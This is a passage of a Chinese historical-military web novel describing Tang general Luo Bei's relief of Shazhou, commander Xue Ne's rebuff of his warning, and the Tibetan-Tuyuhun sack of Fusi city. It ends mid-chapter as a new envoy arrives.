“避箭!”盖嘉运的嘶吼被弩箭破空声撕碎。吐蕃人的第一轮齐射竟让包铁城门瞬间布满箭羽。更可怕的是第二波箭雨接踵而至,丝毫不给人喘息的机会。 “退下女墙!退下女墙!”盖嘉运挥刀斩断插在肩甲的箭矢,招呼着城头的士兵向下撤。 在唐军的一片惨呼声中,达扎恭禄举起了手中镶嵌着红宝石与绿松石的佩刀——那是多年之前伟大赞普杜松芒波杰征召他为亲卫时交给他的。 眼看着吐蕃重步兵开始躲在弩车之后向前推进,盖嘉运心急如焚,但又没有任何办法,他不敢起身,更不能让将士们在这种情况下起身。 突然,地底闷雷化作滚地惊雷。达扎恭禄的战马人立而起,只见沙海尽头腾起赤色大旗,一队队骑兵竟是从废弃的坎儿井地道杀了出来。 “是大唐军旗!是,是碎叶郡王洛将军!”眼尖的士兵已经看到了那面与唐军赤旗齐头并进的狼头大纛,三面飞鹰旗如影随形,映在了众人眼眸之中。 洛北马槊所指处,骑兵阵型突然如雁翅展开,每骑间距恰好是吐蕃手中连弩的转向死角。 达扎恭禄急令调转弩机,然而这弩车跟随他们奔袭多日,转轴里早卡进了沙子,缓慢刺耳的摩擦声逼急了达扎恭禄。他咬牙率领自己的骑兵转向侧翼,直直地朝洛北身前杀去。 不等洛北开口,阙特勤已经冷笑一声,双腿一夹马腹,高声道:“来得好!达扎恭禄!我来会会你!” 达扎恭禄也听过这位突厥第一勇士的名号,心下正在疑惑他为什么要和已是唐人将军的洛北同军而行,见他杀将过来,已顾不上距离太远,他勒马侧身,手中弓箭拉如满月,前箭簇正对着白狼大纛下的洛北。 弓弦震颤的刹那,洛北微微侧头,羽箭擦着他耳侧飞了过去,留下一道细不可见的血痕。 洛北伸手抹去血珠,抬起手:“放——!” 唐军前锋的步兵从手中甩出数只陶罐,砸在连弩上,顿时碎成一地碎片,罐中的黑色液体粘稠地粘在连弩之上,还有的粘到了吐蕃人军人的身上。 达扎恭禄与阙特勤兵刃相交,迸出数点火星。弓箭手自盾牌后射出火箭,那黑色液体遇火即燃,十二架连弩顿时化作火龙,更有数十个吐蕃军人躲避不及,被它粘到了身上。 “金色眼睛的唐人将军的妖术!” “魔鬼!他一定得到了魔鬼的帮助!” 大火燃起的瞬间,吐蕃军心随之一乱。盖嘉运抓住时机,振臂而呼:“是我们的援军来了!兄弟们!冲啊!” 击鼓声扰动了达扎恭禄的心神,他一个不留意,右臂已被阙特勤弯刀划开三寸长的血口,他不敢恋战,左右数位亲卫一齐压上,才帮他在阙特勤手中脱身而去。 他顾不上为逝去的同袍掬一把眼泪,就高声呼喊退军的命令: “收拢左翼!退往大非川!” 吐蕃军阵的号角刚响半声,洛北的马槊已横在号手的脖颈上。骑兵如浪潮一般涌向吐蕃人的溃军,但凡洛北的帅旗扫过之处,吐蕃人都不战而溃。 嘉运率玉门军自城门杀出,与援军形成合围之势。 “取达扎恭禄首级者,赏金百两!” 激战一夜,他的声音已近嘶哑,仍然激起军中一片应和。玉门军中的步兵组成陌刀阵,踏着步子向前推进。吐蕃步兵不敢与他们匹敌,即刻四下奔逃。 达扎恭禄的亲卫队突然吹响尖锐的哨音,数百头牦牛被火把点燃尾巴,发狂般冲向战场中央。 燃烧的牛群在黎明中化作移动火墙,唐军不得不紧急下令,给它们让开一条道路。阙特勤冲在最前,马匹已被火光灼得伤了神智,他暴喝一声拽紧缰绳,起扬避开一众牦牛,任凭身上的斗篷被热浪燎去半边。 “又是火牛阵!”洛北打了个手势给传令官,“分散阵型!让步兵敲击盾牌!” 乱糟糟的敲击声一起,火牛再度迷失了方向,乱成一团,踩踏之间之发出焦糊的味道。 可就在这功夫之间,达扎恭禄已经收整溃兵,逃之夭夭了。 “盖将军,穷寇莫追。”洛北按住盖嘉运染血的臂甲,“收兵吧。” 到了这日正午,幸存的吐蕃旗幡已化作天边黑点。盖嘉运望着满地插满箭矢的牦牛尸首,忽然放声大笑。 笑声惊起成群秃鹫,它们在战场上空盘旋不去,却始终不敢落下——唐军正在收敛同袍遗体,赤旗覆盖的担架整齐排向沙州城,而吐蕃人的尸骸正被拖往焚化坑。 “传令各营,我要为全军请功!”盖嘉运收刀回鞘,脸上满是笑意,“还有,让沙州百姓把埋了二十年的葡萄酿都起出来吧——告诉父老们,咱们大唐的军神回来啦!” 洛北哈哈一笑:“将军太抬举我了。当年在河西的时候,我到沙州来办事的时候,还是将军接待的我。” 盖嘉运笑道:“那是郭大帅执掌凉州的时候了。当时我可没想到,洛参军那样一个英俊少年,也能吃得起风餐露宿,风霜雪夜的苦!” 待到与沙州军民笑闹一阵过,夜色已经深了,洛北转回城外驻军的大帐中,看到早早逃席的阙特勤正蹲在地上研究那烧焦了的弩箭残骸: “这东西……我总感觉在碎叶城见过。” “你当然见过,当时在碎叶文馆,你还问过我此物是不是无限连发。”洛北敲了敲弩箭的转轴,声音清脆。 阙特勤颔首:“我说怎么会这么眼熟?可碎叶的东西,怎么会到了吐蕃人手里?难道他们的商队有问题?” 洛北摇了摇头:“我猜,是大食人给出去的。河中之战的时候,我军曾有几架连弩落入了大食人手中。” “大食人?”阙特勤瞳孔微缩,似乎很意外他提到这个名字,“你不是已同他们有了盟约?他们背着我们和吐蕃人勾连在一起,想干什么?” “负责盟约的大食宰相哈贾吉不久前病逝了。他扶立的哈里发恐怕也干不久,这些大食总督们,又开始做征服东方的美梦了。” 洛北轻轻叹了口气:“我会让沅儿写封信去巴格达斥责他们——实在不行,就让波善活出兵给他们些教训。” 他转身看向帐中挂着的地图:“大食人远在数千里之外,我并不担心,我担心的是……青海。” 他久久不能下定决心,便把王训叫了进来:“我写一封信,你亲自带人去送,务必送到薛讷将军手上!” 第239章 “这小子越来越不像话了,仗着自己功劳大,竟教起我用兵来了。” 薛讷的驻地正在吐谷浑部的旧日王都伏俟城中, 隔着青海与赤岭相望。王训打马来到王城之外时,朔风已带着雪粒砸上了他的脸庞。 伏俟城筑城已有千年之久,历来是丝路上的重要城市, 城郭极广。 王训极目望去, 但见唐军的赤色大旗在昏暗的天空中飞扬,大旗之下是数千顶洁白的帐篷。 与凉州不同,伏俟城的吐谷浑族人还保留着“虽有城郭不居”的习俗。 他停在一片茫茫的草原上,饶有兴致地望着那些扎营在城外的牧人用石子赶羊,但那些人一见他, 便抱着孩子躲进毡帐中。 “真是奇怪。”他喃喃自语,但没有多想,便催马入城去了。 守在城门的将军曾经是他父亲的副将, 一见他,面上满是欣喜,双目之中却涌出了泪光:“是丰海军使王海宾之子王训王公子吗?” 王训抱拳笑道:“是!方叔叔还记得我?” “从前在长安王将军府上见过, 您在后院练剑。”守门将军笑道:“如今长高了, 也练壮了!这几年您到什么地方去了?” 王训自袖中拿出洛北的印信:“方叔叔,我受碎叶郡王,碛西镇守使洛北将军之命前来拜访薛大帅,可否让我进去?” “呀, 原来是碎叶郡王幕下。”方将军查过印信,“走, 我带公子进去。” 薛讷的大帐正在千顶洁白的毡帐之中,王训一进帐篷,便被逼人的香气熏得差点跌了个跟头。 他定了定心神, 低头道礼,眼睛却不住地往帐篷四周瞟——这帐篷华贵异常, 四周竟然皆有金箔作装饰。 “洛北的亲卫到这里来做什么?”薛讷正俯身在沙盘前,一条厚重的紫貂皮毛毯子搭在他身后的椅子上。 薛讷出身将门,如今已经年过古稀,然而他人高马大,一头白发束在头顶,精神矍铄,远胜不少青年将领。 王训半跪在地上,不知是炭盆离他太近,还是帐中众人的目光都盯在他身上,他脸色发红,讲出来的话语便也没有在洛北帐中那样轻松: “卑职奉命来送洛将军的亲笔信。” “亲笔信?”薛讷还未皱眉,身边便有日笑道:“他故弄玄虚惯了,玩起锦囊妙计这一套了?” 薛讷瞥过去一眼:“不要胡说。”语气里却没有多少责怪成分,“他有什么话要教训我?拿上来吧。” 王训双手捧上那封锦袋装着的亲笔信,帐中响起一阵不太友好的笑声。 薛讷的亲兵接过锦袋,将里面的信件拆了出来,交给了薛讷。 薛讷一目十行,将信件读完,眯起眼睛冷笑一声: “……这小子越来越不像话了,仗着自己功劳大,竟教起我用兵来了。” 他猛然转身,快步走到沙盘之前,玄色绣金的披风在空中划出一道猛然的弧形: “他说达扎恭禄从沙州赶往此地,恐有入侵之嫌……这中间是茫茫山地,又逢秋冬,吐蕃人是疯了不成?在这样恶劣的情况下行军,是要出乱子的。” “再说,他说达扎恭禄大军已败,一条丧家之犬,有什么好怕的?”薛讷伸手抚过“大非川”三字,那便是他的名将父亲兵败之地,“莫非,是他自己放跑了达扎恭禄,怕陛下责罚,才找我给他擦屁股吧?” “薛大帅!”王训猛然抬起头来:“达扎恭禄兵败沙州,丢盔卸甲,连伤员都没来得及带走。此战胜败,朝廷已经有公论,您不能这样侮辱洛将军。” 薛讷脸上笑意隐没:“哦?朝廷公论?不等军令,私自征召军队,奔袭千里。放在这座帐中任何人身上,都是杀头的罪过。” “可唯独他洛北,仗着自己有从龙之功,又是陛下的东宫旧臣,朝廷连句责罚都没有,就高高抬起,轻轻放下。这也能叫‘公论’?这是哪门子的‘公’?” 王训张了张口,几度说不出话来。帐中骤然寂静,炭火爆裂声清晰可闻。他的指甲掐进掌心,鲜血顺着指缝渗进虎口的刀茧——他忽然想起临行前洛北在沙盘前说的话: “我怕的就是薛将军仗着自己年高,不听我的判断。吐蕃在青海深耕数十年,渗透之深,他哪里知道?” “薛大帅。”他抬起头,目光灼灼地与薛讷对视:“洛将军职责不在青海前线,他之所以千里奔袭,襄助沙州的玉门军,所为的便是不让吐蕃人对我军形成包夹之势,重现——” 他话音还在半空,薛讷已一把将沙盘掀翻,手中佩刀直直地指着他的头顶:“竖子安敢!” 帐中他的两名亲兵已从炭盆边移步来到王训身侧,王训站起身,一只手也按在了刀柄之上。 正在这剑拔弩张之际,有人从帐外掀帘而入,带来一阵清冷的寒气。 “什么事情这样热闹?”来人一身华贵的白袍,言语带笑,腰间的蹀躞带上镶嵌着数枚玉饰,正是大唐郡王的服饰。 阴山安乐王慕容宣彻缓步走进帐中,扫了帐中一眼,顺势往王训身前半步一站,隔在王训和薛讷之间。 薛讷知道他与洛北极有渊源,又是朝廷钦命的郡王兼本军副帅,不好公然和他发牢骚,只别过脸冷哼一声: “这个小子自称是洛北的亲卫,竟敢跑到我的帐中来对我无礼!慕容宣彻,你是大军副帅,你说怎么处置?” “以下犯上,在军法中确实严苛。”慕容宣彻看向王训,见他瞪着眼睛,一副不服气的模样,只得对他悄悄眨了眨眼:“哎,这孩子看着眼熟啊你父亲是谁?” 王训又惊又疑,听他询问,便立刻挺直了胸膛:“我父亲是在陇右为国捐躯的丰海军使王海宾!” “王海宾”三字一出,举座皆惊。薛讷下意识地起身要看他模样,又生生顿住脚步:“你是王海宾的儿子?” 王海宾与他一样,禁军出身,又是勇武过人,自然是他心腹爱将。他战死前线,一直被薛讷视为此战最大遗憾,此刻知道来了爱将之子,语气也缓和了些:“你怎么到碎叶郡王那里去了?” 慕容宣彻替他打圆场:“当年哥舒亶将军带他回京寻亲,想来这次是为了参军报仇,才到了前线?那攻取大小勃律的战事,你去了吧?” 王训虽然不情不愿,但也知道慕容宣彻的好意:“是!” 薛讷脸上神色稍缓,口中却不便说,一时帐中又沉默起来。 “大帅,夜已经深了,大帅这里怕还有要事要议。请准许小王带这个小子下去洗漱一番,明日早上再来正式拜见。” 慕容宣彻笑意盈盈地开口,他按着王训的肩头让他行了个礼,才把他拉出帐外。 帐外的雪已经停了,百草衰败的草坪上积起薄薄一层白雪,脚步一踏,便没了痕迹。慕容宣彻带着王训往自己的帐中走,低声数落他: “也不是说你有错,但薛讷将军都气成那样了,你也不给他个台阶下,要是我没有来,你打算怎么办?” “他说洛将军” 王训张口就要争辩,慕容宣彻却抬起手,竖起一根手指在唇边,对他做了个噤声的手势:“我都听到了。” “那您为什么不出来为洛将军说话?”王训瞪大眼望着他,“我听说,洛将军和您是旧交。” 慕容宣彻摇了摇头:“他把这话说得浅了,他对我慕容宣彻与我们吐谷浑部皆有大恩。但我不能为他说话,至少此时不能。” “为什么?”王训问。 “朝廷安排薛将军为主帅,便是要辖制洛将军的权力。可你们洛将军不肯坐视事态在青海前线焦灼,又打了几个漂亮仗,逼吐蕃人调兵来回防守。虽然我们前线有了进展,但这进展和主帅有什么关系呢?薛大帅嘴上不说,心中安能平和?” 慕容宣彻温声道: “可如今我和薛大帅同在青海前线,又共掌军队,所以我不能当着他的面为洛将军说话。否则,主副不和,只会给吐蕃人可乘之机啊。” 王训把他的话在心中滚了滚,终于静默不语。两人便这样走进慕容宣彻所住的大帐之中,他显然是将王帐让给了薛讷,自己住得和寻常将领没有什么两样。王训打量了四周,脸上由衷地升起一股敬佩神色来。 慕容宣彻的亲兵近侍替他打了些冷水,他便捧起那冷水洗起脸来。 “至于战事,洛将军也不要太担忧了。”慕容宣彻道:“我已命吐谷浑部每日巡防,若有吐蕃人靠近,即刻报与我知。” 王训洗了一把冷水脸,方觉满腔怒火冷下许多。他又对慕容宣彻道了谢,才想起什么似的:“对了,洛将军还有句口信要我捎给安乐王。” “哦?有什么事情这么重要,他不肯写在信里,却要你以口信告诉我?”慕容宣彻半抱手臂,有些好奇。 王训闭上眼,努力让自己的语气更像洛北一些:“洛将军问,你们慕容王室回归青海,可曾征召青海各部首领祭天会盟?” 慕容宣彻僵在当场,他忽而觉得有一股冷气从脚底爬到了肩膀上:“他这话是” “如果没有,那么,慕容曦光打算何时回归吐谷浑王城?” 第240章 “他或许以为我会像一条丧家之犬一样跑回逻些城去。不,我不仅不会回去,我要把他的规划搅个天翻地覆不可!” 如盐粒一样的雪花正飘洒在空中的时候, 另一番对话在离伏俟城不远处的密林之中进行。 这处密林中也扎着洁白的帐篷,帐篷顶以金线绣出花纹,常在青海来往的人一眼便可看出, 那是吐谷浑王家才有的吉祥纹样。 达扎恭禄正在帐中的地图前挥舞手臂: “他在西边, 断绝了吐蕃西出西域的可能。在东边,把我们赶出了青海道。在北边,河西他们也屯有驻军还有素来对我们不满的南诏。这是一个巨大的口袋,一个包围圈,一旦被他们得逞, 我们就将再无崛起之日。” 这顶帐篷的主人是吐谷浑王子坌达延墀松。 大非川之败后,吐谷浑王室再度带着部族内附大唐,被安置在凉州、灵州等地。 但依然有许多吐谷浑族人没有离开故地, 吐蕃赞普杜松芒波杰吸取多年残酷镇压而不得青海人心的教训,给了残留的王室成员一个吐蕃的官职,并把自己的姐妹嫁给了他。 这位吐蕃公主与吐谷浑王室成员所生的儿子, 便是眼前的坌达延墀松。 坌达延墀松进入吐蕃政坛的时期比达扎恭禄还要早得多。在达扎恭禄还是赞普身边的亲卫的时候, 他便有了主持会盟的权力。 吐谷浑人也因为这位王子在吐蕃收获了更高的待遇——吐蕃人称吐谷浑人为内四族之一,也称为“外甥吐谷浑”。 可惜好景不长,吐蕃赞普杜松芒波杰被刺杀之后,执掌政坛的吐蕃太后赤玛雷把自己的家族作为外戚引上了吐蕃政治的舞台。 自此之后, 坌达延墀松的实权一再减少,更像一位需要的时候才被请上来的偶像。他虽心有不满, 但一切情况还能维持。 可很快,这些维持的景象也化为泡影。唐蕃第一次会盟之时,吐蕃人便不得已把半个吐谷浑故地吐了出去。他陡然失去了一半的草场, 不得不陷入和自己同宗的吐谷浑人的血腥摩擦之中。 坌达延墀松站起了身:“你说的很好,达扎恭禄将军, 但我看不出来这同吐谷浑人有什么关系。我们已经失去了祖先的土地,现在,你又希望我们为你在河西的胜利流血。为什么?你违背乞力徐的军令,回到逻些,只有死路一条。我为什么要帮助一个死人?” “因为这次我们要主攻的方向,不是河西。”达扎恭禄冷声道:“而是青海之西,吐谷浑部的旧日王城,伏俟城。” “你疯了,那里有唐军的主力大军!”坌达延墀松拍案而起,“我不许我的族人和你一道去冒这样的险!” “如果我现在要你和你的族人一起翻越雪山,去攻击在河西枕戈待旦的洛北,才是疯了。”达扎恭禄摇了摇头:“此次我率领残军一路东逃,发现我的军队中有人把他的旗帜一角剪下来,放在身边当护身符,他们传说,他是天神的化身,永远不会失败。你知道这意味着什么吗?” 坌达延墀松没有说话,脸上已经显现出了思考的神色。 达扎恭禄顿了顿,重新坐在座位上,深深叹了口气: “这意味着,我们的军队已经害怕他更甚于害怕魔鬼。我们不能让我们的军队向洛北的军队冲锋,否则在半路上,他们就会哗变。” 坌达延墀松望着他有些沮丧的脸,几乎不肯相信这是那个骄傲更甚其他同僚的达扎恭禄。他犹疑了一会儿,才慢慢地道: “我不相信这世上有百战百胜,永远不败的将军。” “我也不相信。所以我要让他看看吐蕃人的毅力和勇气。”达扎恭禄站起身,“他或许以为我会像一条丧家之犬一样跑回逻些城去。不,我不仅不会回去,我还要在唐人的前线搅上一搅。把他的规划搅个天翻地覆不可!” “这才是我认识的达扎恭禄!”坌达延墀松拍了拍他的肩膀:“现在,告诉我,你打算怎么做?” “我需要你的帮助。”达扎恭禄露出一个高深莫测的笑容:“准确地说,我需要你的族人的帮助。” “这是怎么了?”王训放下拿着糖果的手,撑着头懊恼地看着已经一溜小跑离开的牧人孩子,“这招在大小勃律时可是最好用了。” “什么好用?”慕容宣彻看他蹲在地上,好奇地问了一句。 王训掸了掸身上的灰尘,他没穿军装,也没有穿华贵的衣袍,一身有点破旧的皮袄子搭在磨出洞来的棉袍上,显得更像是个牧人: “我们跟着洛将军打仗的时候,时常被派出去和当地的百姓接触。给他们讲解我们的来意、政策啦,给他们发放些物资啦,帮他们赶赶羊,修理修理房屋之类的。将军说,这是了解当地民情的最好办法,也是帮助我们在当地站稳脚跟。” 他挠了挠头:“我同队那些青年人都有力气,人们都喜欢他们帮忙干活。可我们几个少年人没有办法,只好在兜里装满了糖,给孩子们分一分,这样一个下午,我们就同这些孩子熟悉起来了。可是,这些孩子连糖都不收,真是奇怪。” 慕容宣彻笑了:“他们怕同陌生人说话,你就不要勉强了嘛。今天薛大帅召集我们去商讨下一步的作战策略,你去不去?” “不去了。”王训沉吟片刻,还是拒绝:“我不想给您添麻烦。” “算不上添麻烦。你的父亲是我的同袍,洛将军又和我极有渊源。”慕容宣彻略挑了挑眉:“薛大帅再看你不爽,也不会拿我怎么样。” “还是不去了。”王训又陷入一片沉吟之中,他在草原上踱着步,自言自语道:“哎,我再想想办法。早知道这样,当初就找两个吐谷浑家的同伴来了,也省得我在这儿费功夫” 慕容宣彻见他入迷的模样忍俊不禁,只看了一会儿,确定他无意军事,便施施然走了。 这是王训来到青海的第十日,这夜他照旧想着接触当地部族的事情,他打算明日再换些吃的带过去,自己先吃一口,再给孩子们分……他想着这些慢慢入睡。可头沾枕头没多久,便被一阵连绵的尖锐声响吵醒了。 “敌袭!敌袭!” 他从床榻上翻下来,帐外已经是一片混乱,他在混乱中套上铠甲,抽刀出鞘走到帐外,声响里夹杂着那个他最不愿意听到的消息: “吐谷浑人叛乱!” 伏俟城已经成了一片火海,白色的帐篷在大火之中化为灰烬。 吐蕃人趁乱杀入伏俟城中,与唐军战作一团。黑夜之中,只能看到吐蕃人的帅旗在夜空中飘扬。达扎恭禄高坐在战马之上,看着这片由他引起的乱象,眼中满是得意之色。 失去了指挥的唐军只能各自为政,混乱之中,几乎每个人都陷入了数倍于己的敌人战团里。慕容宣彻在一片混乱里冲到大帐,却只看到了一片火焰,他抓住了一个亲兵的领子: “薛大帅哪里去了!” “他,他,他已经带着亲卫离开了。”他手中沾血的佩刀吓到了那个年轻的亲兵,“青海,青海之上有船队” 慕容宣彻松开手指,暗骂了一句该死——青海之上的岛屿上有哥舒亶正在修建的应龙城。此城是唐军在此地最重要的要塞之一,建成之际,便可俯瞰方圆百里的草原。 现在薛讷往那个地方逃去,隔着茫茫水波,他已经不可能履行自己职责了。 慕容宣彻咽了口吐沫定了定心神:“薛大帅走了,现在此地由我做主。听我的命令,击鼓聚将!” “安乐王,安乐王您饶了小人吧。这个时候击鼓,是把吐蕃主力往这里引啊!”亲兵急出了眼泪。 慕容宣彻冷声道:“如果现在让混乱进行下去,才会把我军送给吐蕃人!”他丢下亲兵,在一顶摇摇欲坠的帐篷中拖出一面大鼓,奋力击打起来。 鼓声隆隆,将混乱的唐军重新带回安定之中。数个各自为战的副将开始往大帐这边靠拢,他好容易收拢起一支残兵,正要挥军上前,却看到唐军大旗飘舞在空中。他回过头去追看那个方向,却见王训举着大旗,在战马上飞驰而来。 “好小子!”慕容宣彻赞叹一句,随即下令:“走,我们冲出去!” 大火直到这日白天才渐渐熄灭,吐谷浑人的千年王都几乎被灼为一片白地,只有城墙依旧倔强地立在那里。 坌达延墀松掬起一把地上的泥沙,心里有点暗暗的伤感味道。但这情绪不容他表露分毫,因为达扎恭禄正拿起唐人的帅旗,在一片废墟之间狂奔乱舞。 “达扎恭禄。”他叫住这个几近疯魔的吐蕃人中的将军,冷冷地发出一句质疑:“下一步,你打算怎么做?” 达扎恭禄顿住脚步,转头望向他:“下一步,当然是以逸待劳。等那位年轻的洛将军自投罗网了。王子,我们现在应当立刻写信给乞力徐大相,告诉他我们的成就,让他尽快调兵来青海。” 他转过头,继续望着远方的群山,密云之间,一缕金光照在了雪山顶峰上:“我要让青海成为他的葬身之地!” 240-250 第241章 “还能握得动刀的,随我前驱!” 王训跟在慕容宣彻冲出重围之时, 天色已经亮了。 这一夜他不知道是怎么过来的,惨叫、厮杀、不住地疾行、骤停、又疾行。他举着那面赤色大旗,不敢松手, 等到平稳地带扎营时, 他才发现双手都被磨出了血泡,血水被冷风一吹,手掌就粘连在木棍上,好容易才用温水化开来,钻心般的疼。 他勉强站起身, 便提着热水四处给那些跟着他们冲出来的唐军士兵。一张张忧伤而疲惫的面容转向他,目光里却空洞异常,一点内容都没有。 王训的脚步也不免沉重起来, 寻到慕容宣彻时,天光已经大亮。慕容宣彻浑身是血,躺倒在他的骏马边, 见到是他, 才坐起了身子: “我已经点过,我军两万人驻扎于此,逃出来的不过三千人”他张了张口,将一口吐沫咽进喉咙里, 声音也哽住了。 十中存一。 王训神情一暗,他知道这样的军队已经毫无战斗力可言, 更糟糕的是,这三千人的粮草俱失,未来又当如何? “你现在这样子, 是把愁苦都写在了脸上。” 慕容宣彻要站起身,却在中间松了力道, 他没有扶王训递过来的手,只撑了一把身后的马鞍,把自己勉强立在那里: “打了败仗,别人都能松垮,都能失去信心,但主帅不能。” 王训扯了扯嘴角,怎么也没能把自己的面容提起来,他轻轻低头,叹了口气:“安乐王,接下来我们怎么办?” “往河西走。那里有几座人口数万的大城,粮食富庶,也有地方给我们这些残兵败将休息。再说,你家洛将军那个坐不住的性子,只怕此刻已经提兵在路上了吧?”慕容宣彻想笑,却似乎扯动了伤口,笑到一半,又弯下腰去。 王训想替他处理伤口,正要上前,却被慕容宣彻摆手拒绝。他望向远方——东方忽然传来急促的马蹄声。 王训手一抖,铜壶里的热水泼在荒野上腾起了白烟,他快走几步,只见浑身是血的斥候从马背上滚落,喉咙里插着半截箭矢,手指死死指向伏俟城的方向,没能说出话来,瞳孔就散了。 慕容宣彻深深叹了口气:“达扎恭禄来得好快啊。”他抽刀出鞘,刀光在阳光下划出一道光华——伏俟城以西的荒原上腾起一片片烟尘,吐蕃大军的旗帜在烟尘中飘荡。 “小子,帮我个忙。”慕容宣彻扯下一截衣袖,把刀柄和手掌绑在一道,“你带着伤兵先往东北方向走,我带人把吐蕃军队引开。” “将军把我当成什么人了?!”王训张了张口:“同生死,共进退。我绝不苟且偷生。” “这是军令。”慕容宣彻正色道,“当年我没能救下你父亲,如今绝不能看着你死在我身边。” 慕容宣彻从马鞍袋里摸出半壶浊酒,淋在刀刃上细细擦拭,又将最后一点浊酒倒进喉咙里:“对了,要是见到你家将军,替我带句话。” “我把曦光和吐谷浑部都托付给他了——” 王训眼中闪过一点泪光,开口正要叫住他,慕容宣彻却摆了摆手,长长地叹了口气:“我知道,他也不容易。这辈子慕容吐谷浑欠他的债,是还不清了,若真有来世,我再报答吧!” “还能握得动刀的,随我前驱!” 千余名残兵在雪地上踩出凌乱的脚印。慕容宣彻翻身上马,朔风再度夹杂着雪粒静静飘下,打在他的明光铠上。细碎的叮当声连绵一片,像是阵亡将士的魂魄在与军阵同行。 慕容宣彻忽而扯开喉咙,高唱起一支《饮马长城窟行》: “塞外悲风切,交河冰已结。瀚海百重波,阴山千里雪扬麾氛雾静,纪石功名立。荒裔一戎衣,灵台凯歌入。” 他沙哑的嗓音在朔风中裂成碎片,身后的唐军士兵也应声而和,似乎是天人感应,风雪越来越大,几乎把王训等人的身影都遮掩了过去。 伏俟城战报来到洛北手中的时候,他已经在提兵向东的路上了。事情的起因经过,他都是在马背上听完的。 他只敢在沙州略作修整,就即刻率军南上青海,预计半月之内就能与薛讷会和。但他怎么也没有想到,薛讷会败得如此之快,败得如此之惨烈。 “数万大军毁于一旦,伏俟城再度落入坌达延墀松手中,这样的大罪,他身为主帅,竟然还敢苟且偷生,先回朝状告慕容曦光、哥舒翰等不听军令。” 洛北把哥舒亶从应龙城写来的信件撕碎,在阙特勤手中的火把上烧作一团飞烟: “真是罪该万死。” 阙特勤略皱了皱眉:“那接下来你打算怎么做?” 若按原计划行军,他们应当在伏俟城稍作休整,旋即一路向西,和哥舒翰、慕容曦光会和,向逻些城进军。 “我知道达扎恭禄此刻应当在青海等我,他一定会说动吐蕃大相乞力徐,不计代价也要把我困死在青海。” 洛北垂眸望着白霜凝结的地面,多年之前,他和达扎恭禄曾在长安的马球场上交过手——那时达扎恭禄就宁愿连自己的脑袋都不要,也要抄他手中的球,如今好不容易抓到一个重创唐军的机会,他怎么可能错过? 阙特勤沉吟片刻:“那我们就集结优势兵力于一点,撞破他的口袋阵。”他抱拳道:“我统领本部兵马作先锋,不杀达扎恭禄,绝不回军!” “好想法,不过,不是无法可破。我要是达扎恭禄,就会安坐在伏俟城里调度军事,逼着我们跟着他的部署东奔西跑,找不出一点机会决战。”洛北道。 阙特勤不料他反驳得如此之快:“总不能所有人都和你一般长于谋略吧?” 洛北哑然失笑,不过经阙特勤这么一打岔,他确实把压在心上的伏俟城之败的愤怒消散了些许。他从袖中取出一卷羊皮地图,在地图上稍作比划,才递给阙特勤看: “你看,若我们化整为零,绕道河源郡呢?” 他手指划过的地方便是慕容曦光等此刻驻守的河源郡,阙特勤打量几眼,猜出了他的打算:“你打算在乌海决战?” 洛北还未来得及答话,前锋岗哨传来一阵混乱声响。他驱马前行几步,当日值守的亲卫程千里已经扶了个衣衫褴褛,浑身血污的少年人来到他马前,见到他时,立刻高声哀求:“大将军!看看王训吧!” 洛北翻身下马,伸手接过王训的臂膀。王训本已失了力气,见到是他,才勉强撑起身子,跪地道礼: “伯克……将军……卑职无能……” 他句子说到一半,就栽倒在地,眼中最后看到的东西,就是洛北金色的眼眸。再醒过来时,已经在温暖的大帐之中。 骨力裴罗本靠在榻边打盹,见他睁眼,忙不迭地跳起来去寻洛北:“大汗!大汗!” 洛北已经换了件镶着皮毛的吐蕃服饰,见骨力裴罗叫得起劲儿,立刻皱眉扫了一眼过去。 骨力裴罗讪讪地吐了吐舌头:“我忘了我们已经身在敌后,请大汗恕罪。我这就,这就出去多找几捆柴回来抵罪。” 他说话之间便退出帐外,留下王训与洛北两人相对。王训开口时,声音里已经带了哽咽:“将军,阴山安乐王……战死了。” 阴山安乐王慕容宣彻吗?洛北先是一怔,脸上浮现出掩饰不住的伤痛神色,他上次与慕容宣彻相见还是在鸣沙,这些年,他们一在西域,一在青海,相隔不远,却始终不得相见。没想到…… “他临死前托我给您带一句口信。”王训不敢与他对视,两只手用力地揪着新包扎好的纱布,“他说,他把慕容曦光和吐谷浑部托付给您了。” 洛北轻轻叹了口气,并未作答。 王训见他不肯答应,忙道: “将军,安乐王是为了替我们断后才死的……他,他确实……” “宣彻王子为人真诚,是个可交之友。”洛北温声道,“所以对他的临终托付,我才要格外谨慎。” 王训一时没有明白他的意思,只是垂下脑袋: 与一众伤兵躲躲藏藏的数日之间,王训曾经无数次地懊恼,他责怪自己不能说服薛讷,责怪自己没有发现吐谷浑部族的异动,一次又一次,他忍不住地想,如果来的人是洛北,那又会怎么样? 或许伏俟城就不会丢,或许唐军就不会败,或许慕容宣彻就不会死…… 洛北站起身:“你的伤兵朋友俱被我们收容在营中养伤,等他们伤势好些之后,我就会派出副将,领他们去凉州修养。” 他顿一顿,看着王训的神情里带着几分温柔:“你同他们一道去凉州吧,那里的气候对你的修养也有好处。” 王训不可思议地抬头望他:“将军要我离开青海?!” 此刻帐外呼啸的北风卷着铁甲铿锵,他能听见战马焦躁的踏蹄声,闻到桐油涂抹箭簇的刺鼻气味——他的父亲死于吐蕃之手,如今这血债上又添上许多人的名字,此刻终于有机会替这些人报仇雪恨,而洛北竟要将他放逐到后方? 洛北摇了摇头:“让你现在去前线打仗,就是让你去赴死——我受人之托照拂于你,所以绝不这样做。” “可是,将军!”王训突然跪地叩首,额头撞在铺着狼皮的青砖上:“我跟随将军来到青海,就是为了上战场!” 他顿了顿,抬头看向洛北:“在碎叶时,您曾经说打胜仗不是一件天经地义的事情。当时我不明白,经过了大小勃律之战,我还是不明白……如今伏俟城之败,才让我明白个中含义。将军,我只想请您给我一次亲手实践的机会。” 帐中霎时寂静,唯有柴木在火舌舔舐下发出细微爆响。 洛北望着少年绷直的脊梁,一时说不出话来。 帐帘忽被狂风掀起,阙特勤挟着雪沫大步跨入。突厥左贤王肩头狰狞的金狼肩甲还凝着冰碴,一双深碧色眼瞳扫过僵持的二人,突然咧嘴笑道:“又是什么事情僵成这样?” 第242章 “将军可知,吐蕃六成食盐皆出自我苏毗?” 洛北见是他, 气息稍松,主动上前半步,把王训拉了起来, 才转头给阙特勤解释: “这小子不想着在后方养伤, 一心要到前线去搏命复仇。”他摆了摆手,“先不说这些,苏毗的客人来了?” “是,还有位长安来的使节。” 阙特勤给王训递了个眼神,示意他不要在此刻与洛北对着干。 王训也听过“苏毗”之名, 知道苏毗本也是高原上的一个王国,是西羌后裔,本发源于苏毗河流域, 